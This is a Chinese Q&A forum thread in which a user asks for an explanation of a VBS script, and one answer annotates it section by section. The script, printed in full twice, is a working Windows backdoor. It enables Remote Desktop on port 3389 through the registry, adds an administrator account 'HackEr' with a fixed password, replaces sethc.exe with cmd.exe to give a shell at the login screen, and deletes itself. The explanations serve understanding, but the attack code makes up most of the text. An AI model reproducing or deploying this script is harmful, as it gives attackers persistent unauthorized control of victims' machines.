解释一个VBS脚本病毒代码

Question

如下所示：
on error resume next
const HKEY_LOCAL_MACHINE = &H80000002
strComputer = "."
Set StdOut = WScript.StdOut
Set oReg=GetObject("winmgmts:{impersonationLevel=impersonate}!\\" &_
strComputer & "\root\default:StdRegProv")
strKeyPath = "SYSTEM\CurrentControlSet\Control\Terminal Server"
oReg.CreateKey HKEY_LOCAL_MACHINE,strKeyPath
strKeyPath = "SYSTEM\CurrentControlSet\Control\Terminal Server\Wds\rdpwd\Tds\tcp"
oReg.CreateKey HKEY_LOCAL_MACHINE,strKeyPath
strKeyPath = "SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp"
strKeyPath = "SYSTEM\CurrentControlSet\Control\Terminal Server"
strValueName = "fDenyTSConnections"
dwValue = 0
oReg.SetDWORDValue HKEY_LOCAL_MACHINE,strKeyPath,strValueName,dwValue
strKeyPath = "SYSTEM\CurrentControlSet\Control\Terminal Server\Wds\rdpwd\Tds\tcp"
strValueName = "PortNumber"
dwValue = 3389
oReg.SetDWORDValue HKEY_LOCAL_MACHINE,strKeyPath,strValueName,dwValue
strKeyPath = "SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp"
strValueName = "PortNumber"
dwValue = 3389
oReg.SetDWORDValue HKEY_LOCAL_MACHINE,strKeyPath,strValueName,dwValue
on error resume next
dim username,password:If Wscript.Arguments.Count Then:username=Wscript.Arguments(0):password=Wscript.Arguments(1):Else:username="HackEr":password="393214425":end if:set wsnetwork=CreateObject("WSCRIPT.NETWORK"):os="WinNT://"&wsnetwork.ComputerName:Set ob=GetObject(os):Set oe=GetObject(os&"/Administrators,group"):Set od=ob.Create("user",username):od.SetPassword password:od.SetInfo:Set of=GetObject(os&"/"&username&",user"):oe.Add(of.ADsPath)'wscript.echo of.ADsPath
On Error Resume Next
Dim obj, success
Set obj = CreateObject("WScript.Shell")
success = obj.run("cmd /c takeown /f %SystemRoot%\system32\sethc.exe&echo y| cacls %SystemRoot%\system32\sethc.exe /G %USERNAME%:F© %SystemRoot%\system32\cmd.exe %SystemRoot%\system32\acmd.exe© %SystemRoot%\system32\sethc.exe %SystemRoot%\system32\asethc.exe&del %SystemRoot%\system32\sethc.exe&ren %SystemRoot%\system32\acmd.exe sethc.exe", 0, True)
CreateObject("Scripting.FileSystemObject").DeleteFile(WScript.ScriptName)

帮忙吧！我分只剩下五了，都给你了！跪求！！

Answer 1

'容错
on error resume next
'定义一个常量 是一个注册表的键值
const HKEY_LOCAL_MACHINE = &H80000002
'定义一个变量strComputer 值为.
strComputer = "."

Set StdOut = WScript.StdOut
Set oReg=GetObject("winmgmts:{impersonationLevel=impersonate}!\\" &_
strComputer & "\root\default:StdRegProv")
'创建组件 是关于注册表的组件

strKeyPath = "SYSTEM\CurrentControlSet\Control\Terminal Server"
oReg.CreateKey HKEY_LOCAL_MACHINE,strKeyPath
strKeyPath = "SYSTEM\CurrentControlSet\Control\Terminal Server\Wds\rdpwd\Tds\tcp"
oReg.CreateKey HKEY_LOCAL_MACHINE,strKeyPath
strKeyPath = "SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp"
strKeyPath = "SYSTEM\CurrentControlSet\Control\Terminal Server"
strValueName = "fDenyTSConnections"
dwValue = 0
oReg.SetDWORDValue HKEY_LOCAL_MACHINE,strKeyPath,strValueName,dwValue
strKeyPath = "SYSTEM\CurrentControlSet\Control\Terminal Server\Wds\rdpwd\Tds\tcp"
strValueName = "PortNumber"
dwValue = 3389
oReg.SetDWORDValue HKEY_LOCAL_MACHINE,strKeyPath,strValueName,dwValue
strKeyPath = "SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp"
strValueName = "PortNumber"
dwValue = 3389
oReg.SetDWORDValue HKEY_LOCAL_MACHINE,strKeyPath,strValueName,dwValue

'上面这段的功能是开启3389端口 也就是开启远程终端 方法是修改注册表的键值
'容错
on error resume next
'定义变量 username password
dim username,password:If Wscript.Arguments.Count Then:username=Wscript.Arguments(0):password=Wscript.Arguments(1):Else:username="HackEr":password="393214425":end if:set wsnetwork=CreateObject("WSCRIPT.NETWORK"):os="WinNT://"&wsnetwork.ComputerName:Set ob=GetObject(os):Set oe=GetObject(os&"/Administrators,group"):Set od=ob.Create("user",username):od.SetPassword password:od.SetInfo:Set of=GetObject(os&"/"&username&",user"):oe.Add(of.ADsPath)'wscript.echo of.ADsPath
'这段是增加管理员 用户名是HackEr 密码是393214425
'容错
On Error Resume Next

Dim obj, success
Set obj = CreateObject("WScript.Shell")
success = obj.run("cmd /c takeown /f %SystemRoot%\system32\sethc.exe&echo y| cacls %SystemRoot%\system32\sethc.exe /G %USERNAME%:F? %SystemRoot%\system32\cmd.exe %SystemRoot%\system32\acmd.exe? %SystemRoot%\system32\sethc.exe %SystemRoot%\system32\asethc.exe&del %SystemRoot%\system32\sethc.exe&ren %SystemRoot%\system32\acmd.exe sethc.exe", 0, True)
CreateObject("Scripting.FileSystemObject").DeleteFile(WScript.ScriptName)
'这段是留后门 放大镜后门 将sethc.exe替换为cmd.exe 这样 在登陆界面这里 按5下shift就会出现cmd窗口 然后添加用户即可登陆系统

总结 这个不算是病毒 充其量 只不过是一个后门程序 运行之后 系统的远程终端开启，自动加入一个HackEr的帐号 自动添加一个放大镜后门
个人感觉 这代码是将3段代码拼凑起来的 - - 没技术含量

Answer 2

有一段的解释是：要修改管理员用户的名字与权限，还有就是要生成些病毒编写者的其他自己编写的文件，还有就是系统路径的修改的问题，还有就是管理员用户的系统的终端的修改，创建有病毒编写者的自己的键值。

Answer 3

是一个蠕虫代码
不好解释
